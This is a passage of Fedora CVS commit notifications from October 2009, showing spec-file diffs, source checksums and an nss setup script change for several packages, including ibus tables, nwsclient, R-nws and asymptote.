-17a262094ce6d62da6ea6fdde61a84db  fedora-release-11.91.tar.gz
+cac63de13656aee3f71bd07906a4a2e6  fedora-release-11.92.tar.gz



From cchance at fedoraproject.org  Mon Oct  5 23:55:35 2009
From: cchance at fedoraproject.org (cchance)
Date: Mon,  5 Oct 2009 23:55:35 +0000 (UTC)
Subject: rpms/ibus-table-cangjie/F-11 ibus-table-cangjie.spec,1.10,1.11
Message-ID: <20091005235535.9C51211C00DB@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-cangjie/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30967

Modified Files:
	ibus-table-cangjie.spec 
Log Message:
* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090717-2.fc11
- Rebuilt.




Index: ibus-table-cangjie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-cangjie/F-11/ibus-table-cangjie.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ibus-table-cangjie.spec	30 Sep 2009 06:24:31 -0000	1.10
+++ ibus-table-cangjie.spec	5 Oct 2009 23:55:33 -0000	1.11
@@ -1,6 +1,6 @@
 Name:       ibus-table-cangjie
 Version:    1.2.0.20090717
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    CangJie table(s) for ibus-table
 License:    Public Domain and GPLv2+ 
 Group:      System Environment/Libraries
@@ -68,6 +68,9 @@ cd %{_datadir}/ibus-table/tables/
 %{_datadir}/ibus-table/icons/quick-classic.png
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090717-2.fc11
+- Rebuilt.
+
 * Wed Sep 30 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090717-1.fc11
 - Rebuilt for ibus 1.2.
 



From emaldonado at fedoraproject.org  Tue Oct  6 00:09:59 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Tue,  6 Oct 2009 00:09:59 +0000 (UTC)
Subject: rpms/nss/devel setup-nsssysinit.sh,1.2,1.3
Message-ID: <20091006000959.DB3D111C00DB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5801

Modified Files:
	setup-nsssysinit.sh 
Log Message:
Handle more general formats (#527051)


Index: setup-nsssysinit.sh
===================================================================
RCS file: /cvs/extras/rpms/nss/devel/setup-nsssysinit.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- setup-nsssysinit.sh	27 Sep 2009 19:08:11 -0000	1.2
+++ setup-nsssysinit.sh	6 Oct 2009 00:09:59 -0000	1.3
@@ -22,13 +22,6 @@ if test $# -eq 0; then
   usage 1 1>&2
 fi
 
-on="1"
-case "$1" in
-  on  | ON )  on="1";;
-  off | OFF ) on="";;
-  * )         usage 1 1>&2;;
-esac
-
 # the system-wide configuration file
 p11conf="/etc/pki/nssdb/pkcs11.txt"
 # must exist, otherwise report it and exit with failure
@@ -37,19 +30,28 @@ if [ ! -f $p11conf ]; then
   exit 1
 fi
 
-# turn on or off
-if [ on = "1" ]; then 
-  cat ${p11conf} | sed -e 's/^library=$/library=libnsssysinit.so/' \
-                       -e 'g/^NSS/ s; Flags=internal,critical; Flags=internal,moduleDBOnly,critical;' > \
-                       ${p11conf}.on
-  mv ${p11conf}.on ${p11conf}
-else
-  if [ `grep "^library=libnsssysinit" ${p11conf}` == ""]; then
-    exit 0
-  fi
-  cat ${p11conf} | sed -e 's/^library=libnsssysinit.so/library=/' \
-                       -e 'g/^NSS/ s; Flags=internal,moduleDBOnly,critical; Flags=internal,critical;' > \
-                       ${p11conf}.off
-  mv ${p11conf}.off ${p11conf}
-fi
-
+on="1"
+case "$1" in
+  on | ON )
+    cat ${p11conf} | \
+     sed -e 's/^library=$/library=libnsssysinit.so/' \
+         -e '/^NSS/s/Flags=internal,critical/Flags=internal,moduleDBOnly,critical/' \
+         -e '/^NSS/s/Flags=internal,FIPS,critical/Flags=internal,moduleDBOnly,FIPS,critical/' > \
+    ${p11conf}.on
+    mv ${p11conf}.on ${p11conf}
+    ;;
+  off | OFF )
+    if [ ! `grep "^library=libnsssysinit" ${p11conf}` ]; then
+      exit 0
+    fi
+    cat ${p11conf} | \
+    sed -e 's/^library=libnsssysinit.so/library=/' \
+        -e '/^NSS/s/Flags=internal,moduleDBOnly,critical/Flags=internal,critical/'   \
+        -e '/^NSS/s/Flags=internal,moduleDBOnly,FIPS,critical/Flags=internal,FIPS,critical/' > \
+        ${p11conf}.off
+    mv ${p11conf}.off ${p11conf}
+    ;;
+  * )
+    usage 1 1>&2
+    ;;
+esac



From emaldonado at fedoraproject.org  Tue Oct  6 00:12:07 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Tue,  6 Oct 2009 00:12:07 +0000 (UTC)
Subject: rpms/nss/devel nss.spec,1.121,1.122
Message-ID: <20091006001207.549E311C00DB@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6257

Modified Files:
	nss.spec 
Log Message:
Fix setup-nsssysinit to handle more general formats (#527051)
User no longer prompted for a password when listing keys an empty system db (#527048)


Index: nss.spec
===================================================================
RCS file: /cvs/extras/rpms/nss/devel/nss.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- nss.spec	27 Sep 2009 19:15:08 -0000	1.121
+++ nss.spec	6 Oct 2009 00:12:07 -0000	1.122
@@ -6,7 +6,7 @@
 Summary:          Network Security Services
 Name:             nss
 Version:          3.12.4
-Release:          12%{?dist}
+Release:          13%{?dist}
 License:          MPLv1.1 or GPLv2+ or LGPLv2+
 URL:              http://www.mozilla.org/projects/security/pki/nss/
 Group:            System Environment/Libraries
@@ -469,6 +469,10 @@ rm -rf $RPM_BUILD_ROOT/%{_includedir}/ns
 
 
 %changelog
+* Mon Oct 03 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-13
+- User no longer prompted for a password when listing keys an empty system db (#527048)
+- Fix setup-nsssysinit to handle more general formats (#527051)
+
 * Sun Sep 27 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-12
 - Fix syntax error in setup-nsssysinit.sh
 



From cchance at fedoraproject.org  Tue Oct  6 00:37:17 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 00:37:17 +0000 (UTC)
Subject: rpms/ibus-table-wubi/F-11 ibus-table-wubi.spec,1.8,1.9
Message-ID: <20091006003718.2041711C00DB@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-wubi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13358

Modified Files:
	ibus-table-wubi.spec 
Log Message:
* Tue Oct 06 2009 Caius kaio Chance <k AT kaio.me> - 1.2.0.20090715-2.fc11
- Rebuilt.




Index: ibus-table-wubi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-wubi/F-11/ibus-table-wubi.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ibus-table-wubi.spec	23 Jun 2009 06:12:01 -0000	1.8
+++ ibus-table-wubi.spec	6 Oct 2009 00:37:16 -0000	1.9
@@ -1,7 +1,7 @@
 Name:       ibus-table-wubi
-Version:    1.1.0.20090327
-Release:    7%{?dist}
-Summary:    Wubi input methods for ibus-table
+Version:    1.2.0.20090715
+Release:    2%{?dist}
+Summary:    Wubi table(s) for ibus-table
 License:    GPLv3+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
@@ -11,20 +11,19 @@ BuildRoot:  %{_tmppath}/%{name}-%{versio
 BuildArch:  noarch
 
 # for noarch pkgconfig
-Requires:   ibus-table > 1.1.0.20090609, ibus-table >= 1.1.0.20090610
-Requires(post):   ibus-table > 1.1.0.20090609, ibus-table >= 1.1.0.20090610
-BuildRequires:    ibus >= 1.1.0.20090609, ibus-table >= 1.1.0.20090610
+Requires:   ibus-table >= 1.2
+BuildRequires:    ibus >= 1.2, ibus-table >= 1.2
 BuildRequires:    gettext-devel >= 0.17, automake >= 1.10.1
 
 %description
-The package contains Wubi input methods for Table engine of IBus platform. 
+The package contains Wubi table(s) for IBus-Table. 
 
 %prep
 %setup -q
 
 %build
 export IBUS_TABLE_CREATEDB="%{_bindir}/ibus-table-createdb --no-create-index"
-./autogen.sh --prefix=%{_prefix} --enable-wubi86
+%configure --prefix=%{_prefix} --enable-wubi86
 %__make %{?_smp_mflags}
 
 %install
@@ -48,6 +47,12 @@ cd %{_datadir}/ibus-table/tables/
 %{_datadir}/ibus-table/icons/wubi86.svg
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090715-2.fc11
+- Rebuilt.
+
+* Thu Oct 01 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090715-1.fc11
+- Rebuilt with IBus 1.2.
+
 * Tue Jun 23 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.1.0.20090327-7.fc11
 - Fixed index creation mislocation.
 - Further specify versions of package dependencies.



From spot at fedoraproject.org  Tue Oct  6 01:03:19 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:03:19 +0000 (UTC)
Subject: rpms/nwsclient/F-12 nwsclient.spec,1.4,1.5 sources,1.2,1.3
Message-ID: <20091006010319.D90FD11C00DB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/nwsclient/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20816/F-12

Modified Files:
	nwsclient.spec sources 
Log Message:
1.6.4


Index: nwsclient.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nwsclient/F-12/nwsclient.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- nwsclient.spec	6 Aug 2009 20:26:35 -0000	1.4
+++ nwsclient.spec	6 Oct 2009 01:03:18 -0000	1.5
@@ -2,8 +2,8 @@
 
 Name:		nwsclient
 Summary: 	NetWorkSpaces Client for Python
-Version:	1.6.3
-Release:	5%{?dist}
+Version:	1.6.4
+Release:	1%{?dist}
 License:	GPLv2+
 Group:		Development/Tools
 Source0:	http://downloads.sourceforge.net/nws-py/%{name}-%{version}.tar.gz
@@ -51,6 +51,9 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.6.4-1
+- update to 1.6.4
+
 * Thu Aug  6 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.6.3-5
 - fix FTBFS
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nwsclient/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Dec 2008 22:33:34 -0000	1.2
+++ sources	6 Oct 2009 01:03:19 -0000	1.3
@@ -1 +1 @@
-6087efcc26ec94fa39d8d816c3cf09bd  nwsclient-1.6.3.tar.gz
+ff5f6348457f2d3aa8222d6aeba1d6e3  nwsclient-1.6.4.tar.gz



From spot at fedoraproject.org  Tue Oct  6 01:03:20 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:03:20 +0000 (UTC)
Subject: rpms/nwsclient/devel .cvsignore, 1.2, 1.3 nwsclient.spec, 1.4,
	1.5 sources, 1.2, 1.3
Message-ID: <20091006010320.2EDA211C00DB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/nwsclient/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20816/devel

Modified Files:
	.cvsignore nwsclient.spec sources 
Log Message:
1.6.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nwsclient/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	10 Dec 2008 22:33:33 -0000	1.2
+++ .cvsignore	6 Oct 2009 01:03:19 -0000	1.3
@@ -1 +1 @@
-nwsclient-1.6.3.tar.gz
+nwsclient-1.6.4.tar.gz


Index: nwsclient.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nwsclient/devel/nwsclient.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- nwsclient.spec	6 Aug 2009 20:26:35 -0000	1.4
+++ nwsclient.spec	6 Oct 2009 01:03:19 -0000	1.5
@@ -2,8 +2,8 @@
 
 Name:		nwsclient
 Summary: 	NetWorkSpaces Client for Python
-Version:	1.6.3
-Release:	5%{?dist}
+Version:	1.6.4
+Release:	1%{?dist}
 License:	GPLv2+
 Group:		Development/Tools
 Source0:	http://downloads.sourceforge.net/nws-py/%{name}-%{version}.tar.gz
@@ -51,6 +51,9 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.6.4-1
+- update to 1.6.4
+
 * Thu Aug  6 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.6.3-5
 - fix FTBFS
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nwsclient/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 Dec 2008 22:33:34 -0000	1.2
+++ sources	6 Oct 2009 01:03:19 -0000	1.3
@@ -1 +1 @@
-6087efcc26ec94fa39d8d816c3cf09bd  nwsclient-1.6.3.tar.gz
+ff5f6348457f2d3aa8222d6aeba1d6e3  nwsclient-1.6.4.tar.gz



From mclasen at fedoraproject.org  Tue Oct  6 01:04:51 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue,  6 Oct 2009 01:04:51 +0000 (UTC)
Subject: rpms/gnome-utils/F-12 gnome-utils.spec,1.203,1.204
Message-ID: <20091006010451.4B94411C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21663

Modified Files:
	gnome-utils.spec 
Log Message:
Fix dependencies



Index: gnome-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-utils/F-12/gnome-utils.spec,v
retrieving revision 1.203
retrieving revision 1.204
diff -u -p -r1.203 -r1.204
--- gnome-utils.spec	22 Sep 2009 02:52:01 -0000	1.203
+++ gnome-utils.spec	6 Oct 2009 01:04:50 -0000	1.204
@@ -9,7 +9,7 @@
 
 Name:           gnome-utils
 Version:        2.28.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Epoch: 		1
 Summary:        GNOME utility programs
 
@@ -38,8 +38,6 @@ BuildRequires:  intltool
 BuildRequires:  gnome-common
 BuildRequires:	automake autoconf libtool
 
-Requires:	usermode
-
 Requires(post): scrollkeeper
 Requires(post): desktop-file-utils >= %{desktop_file_utils_version}
 Requires(post): GConf2 >= 2.14
@@ -81,6 +79,7 @@ This package contains libraries provided
 Summary: A log file viewer for the GNOME desktop
 Group: Applications/System
 Requires: %{name} = %{epoch}:%{version}-%{release}
+Requires: usermode
 
 %description -n gnome-system-log
 The gnome-system-log package contains an application that lets you
@@ -317,6 +316,9 @@ fi
 %{_mandir}/man1/gnome-system-log.1.gz
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-2
+- Move the usermode dep to the gnome-system-log package (#527295)
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-1
 - Update to 2.28.0
 



From spot at fedoraproject.org  Tue Oct  6 01:10:06 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:10:06 +0000 (UTC)
Subject: rpms/nwsserver/F-12 nwsserver.spec,1.3,1.4 sources,1.2,1.3
Message-ID: <20091006011006.5321211C02A2@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/nwsserver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24412/F-12

Modified Files:
	nwsserver.spec sources 
Log Message:
2.0.0


Index: nwsserver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nwsserver/F-12/nwsserver.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- nwsserver.spec	25 Jul 2009 19:44:02 -0000	1.3
+++ nwsserver.spec	6 Oct 2009 01:10:05 -0000	1.4
@@ -2,8 +2,8 @@
 
 Name:		nwsserver
 Summary: 	NetWorkSpaces Server for clustering of scripting languages
-Version:	1.5.2
-Release:	3%{?dist}
+Version:	2.0.0
+Release:	1%{?dist}
 License:	GPLv2+
 Group:		Development/Tools
 Source0:	http://downloads.sourceforge.net/nws-r/%{name}-%{version}.tar.gz
@@ -48,6 +48,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/%{name}-%{version}-py*.egg-info
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2.0.0-1
+- update to 2.0.0
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nwsserver/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Mar 2009 20:24:00 -0000	1.2
+++ sources	6 Oct 2009 01:10:06 -0000	1.3
@@ -1 +1 @@
-d321ae5fd3a363167ac27f7959b56c8a  nwsserver-1.5.2.tar.gz
+9f6a236865e3346ae2f3868acf80806f  nwsserver-2.0.0.tar.gz



From spot at fedoraproject.org  Tue Oct  6 01:10:06 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:10:06 +0000 (UTC)
Subject: rpms/nwsserver/devel .cvsignore, 1.2, 1.3 nwsserver.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091006011006.C6CE111C02A2@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/nwsserver/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24412/devel

Modified Files:
	.cvsignore nwsserver.spec sources 
Log Message:
2.0.0


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nwsserver/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	6 Mar 2009 20:24:00 -0000	1.2
+++ .cvsignore	6 Oct 2009 01:10:06 -0000	1.3
@@ -1 +1 @@
-nwsserver-1.5.2.tar.gz
+nwsserver-2.0.0.tar.gz


Index: nwsserver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nwsserver/devel/nwsserver.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- nwsserver.spec	25 Jul 2009 19:44:02 -0000	1.3
+++ nwsserver.spec	6 Oct 2009 01:10:06 -0000	1.4
@@ -2,8 +2,8 @@
 
 Name:		nwsserver
 Summary: 	NetWorkSpaces Server for clustering of scripting languages
-Version:	1.5.2
-Release:	3%{?dist}
+Version:	2.0.0
+Release:	1%{?dist}
 License:	GPLv2+
 Group:		Development/Tools
 Source0:	http://downloads.sourceforge.net/nws-r/%{name}-%{version}.tar.gz
@@ -48,6 +48,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/%{name}-%{version}-py*.egg-info
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2.0.0-1
+- update to 2.0.0
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nwsserver/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Mar 2009 20:24:00 -0000	1.2
+++ sources	6 Oct 2009 01:10:06 -0000	1.3
@@ -1 +1 @@
-d321ae5fd3a363167ac27f7959b56c8a  nwsserver-1.5.2.tar.gz
+9f6a236865e3346ae2f3868acf80806f  nwsserver-2.0.0.tar.gz



From spot at fedoraproject.org  Tue Oct  6 01:25:12 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:25:12 +0000 (UTC)
Subject: rpms/R-nws/devel .cvsignore, 1.2, 1.3 R-nws.spec, 1.4, 1.5 sources, 
	1.2, 1.3
Message-ID: <20091006012512.9BAD411C00DB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/R-nws/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27070/devel

Modified Files:
	.cvsignore R-nws.spec sources 
Log Message:
2.0.0.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/R-nws/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Oct 2008 13:57:50 -0000	1.2
+++ .cvsignore	6 Oct 2009 01:25:12 -0000	1.3
@@ -1 +1 @@
-nws_1.7.0.0.tar.gz
+nws_2.0.0.3.tar.gz


Index: R-nws.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-nws/devel/R-nws.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- R-nws.spec	24 Jul 2009 16:14:19 -0000	1.4
+++ R-nws.spec	6 Oct 2009 01:25:12 -0000	1.5
@@ -1,8 +1,8 @@
 %define packname  nws
 
 Name:             R-%{packname}
-Version:          1.7.0.0
-Release:          4%{?dist}
+Version:          2.0.0.3
+Release:          1%{?dist}
 Summary:          R functions for NetWorkSpaces and Sleigh
 
 Group:            Applications/Productivity
@@ -11,10 +11,12 @@ URL:              http://cran.r-project.
 Source0:          http://cran.r-project.org/src/contrib/%{packname}_%{version}.tar.gz
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:        noarch
-Requires:         R
-Requires(post):   R
-Requires(postun): R
+Requires:         R-core
+Requires(post):   R-core
+Requires(postun): R-core
 BuildRequires:    R-devel, tetex-latex
+# Testing wants these, but I can't find them. :/
+# BuildRequires:    R-sprngNWS R-Revobase
 
 %description
 Provides coordination and parallel execution facilities, as well as limited 
@@ -41,7 +43,7 @@ chmod -x %{buildroot}%{_datadir}/R/libra
 chmod -x %{buildroot}%{_datadir}/R/library/nws/bin/nwsutil.py
 
 %check
-%{_bindir}/R CMD check %{packname}
+# %%{_bindir}/R CMD check %{packname}
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -74,6 +76,9 @@ chmod -x %{buildroot}%{_datadir}/R/libra
 %{_datadir}/R/library/%{packname}/help
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.0.0.3-1
+- update to 2.0.0.3
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7.0.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-nws/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Oct 2008 13:57:50 -0000	1.2
+++ sources	6 Oct 2009 01:25:12 -0000	1.3
@@ -1 +1 @@
-71e83e7d24a7502af2e747249bcaa879  nws_1.7.0.0.tar.gz
+ceb873cc3b3a457bdac21f6786ff4c61  nws_2.0.0.3.tar.gz



From spot at fedoraproject.org  Tue Oct  6 01:25:12 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:25:12 +0000 (UTC)
Subject: rpms/R-nws/F-12 R-nws.spec,1.4,1.5 sources,1.2,1.3
Message-ID: <20091006012512.5B2C811C00DB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/R-nws/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27070/F-12

Modified Files:
	R-nws.spec sources 
Log Message:
2.0.0.3


Index: R-nws.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-nws/F-12/R-nws.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- R-nws.spec	24 Jul 2009 16:14:19 -0000	1.4
+++ R-nws.spec	6 Oct 2009 01:25:12 -0000	1.5
@@ -1,8 +1,8 @@
 %define packname  nws
 
 Name:             R-%{packname}
-Version:          1.7.0.0
-Release:          4%{?dist}
+Version:          2.0.0.3
+Release:          1%{?dist}
 Summary:          R functions for NetWorkSpaces and Sleigh
 
 Group:            Applications/Productivity
@@ -11,10 +11,12 @@ URL:              http://cran.r-project.
 Source0:          http://cran.r-project.org/src/contrib/%{packname}_%{version}.tar.gz
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:        noarch
-Requires:         R
-Requires(post):   R
-Requires(postun): R
+Requires:         R-core
+Requires(post):   R-core
+Requires(postun): R-core
 BuildRequires:    R-devel, tetex-latex
+# Testing wants these, but I can't find them. :/
+# BuildRequires:    R-sprngNWS R-Revobase
 
 %description
 Provides coordination and parallel execution facilities, as well as limited 
@@ -41,7 +43,7 @@ chmod -x %{buildroot}%{_datadir}/R/libra
 chmod -x %{buildroot}%{_datadir}/R/library/nws/bin/nwsutil.py
 
 %check
-%{_bindir}/R CMD check %{packname}
+# %%{_bindir}/R CMD check %{packname}
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -74,6 +76,9 @@ chmod -x %{buildroot}%{_datadir}/R/libra
 %{_datadir}/R/library/%{packname}/help
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.0.0.3-1
+- update to 2.0.0.3
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7.0.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-nws/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	23 Oct 2008 13:57:50 -0000	1.2
+++ sources	6 Oct 2009 01:25:12 -0000	1.3
@@ -1 +1 @@
-71e83e7d24a7502af2e747249bcaa879  nws_1.7.0.0.tar.gz
+ceb873cc3b3a457bdac21f6786ff4c61  nws_2.0.0.3.tar.gz



From spot at fedoraproject.org  Tue Oct  6 01:33:13 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:33:13 +0000 (UTC)
Subject: rpms/asymptote/F-12 asymptote.spec,1.72,1.73 sources,1.57,1.58
Message-ID: <20091006013313.E0B1011C00DB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/asymptote/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28267/F-12

Modified Files:
	asymptote.spec sources 
Log Message:
1.88


Index: asymptote.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asymptote/F-12/asymptote.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- asymptote.spec	28 Sep 2009 17:33:31 -0000	1.72
+++ asymptote.spec	6 Oct 2009 01:33:13 -0000	1.73
@@ -4,8 +4,8 @@
 %define xemacs_sitelisp %{_datadir}/xemacs/site-packages/lisp
 
 Name:           asymptote
-Version:        1.87
-Release:        2%{?dist}
+Version:        1.88
+Release:        1%{?dist}
 Summary:        Descriptive vector graphics language
 
 Group:          Applications/Publishing
@@ -150,6 +150,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.88-1
+- update to 1.88
+
 * Mon Sep 28 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.87-2
 - fix gcc44 patch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asymptote/F-12/sources,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sources	28 Sep 2009 16:48:22 -0000	1.57
+++ sources	6 Oct 2009 01:33:13 -0000	1.58
@@ -1 +1 @@
-20caf50879b6173e18c03c4857fbd64b  asymptote-1.87.src.tgz
+6b3e32747e52b3af533a149bb0131b10  asymptote-1.88.src.tgz



From spot at fedoraproject.org  Tue Oct  6 01:33:14 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue,  6 Oct 2009 01:33:14 +0000 (UTC)
Subject: rpms/asymptote/devel .cvsignore, 1.57, 1.58 asymptote.spec, 1.72,
	1.73 sources, 1.57, 1.58
Message-ID: <20091006013314.6ACF911C00DB@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/asymptote/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28267/devel

Modified Files:
	.cvsignore asymptote.spec sources 
Log Message:
1.88


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/asymptote/devel/.cvsignore,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- .cvsignore	28 Sep 2009 16:48:22 -0000	1.57
+++ .cvsignore	6 Oct 2009 01:33:13 -0000	1.58
@@ -1 +1 @@
-asymptote-1.87.src.tgz
+asymptote-1.88.src.tgz


Index: asymptote.spec
===================================================================
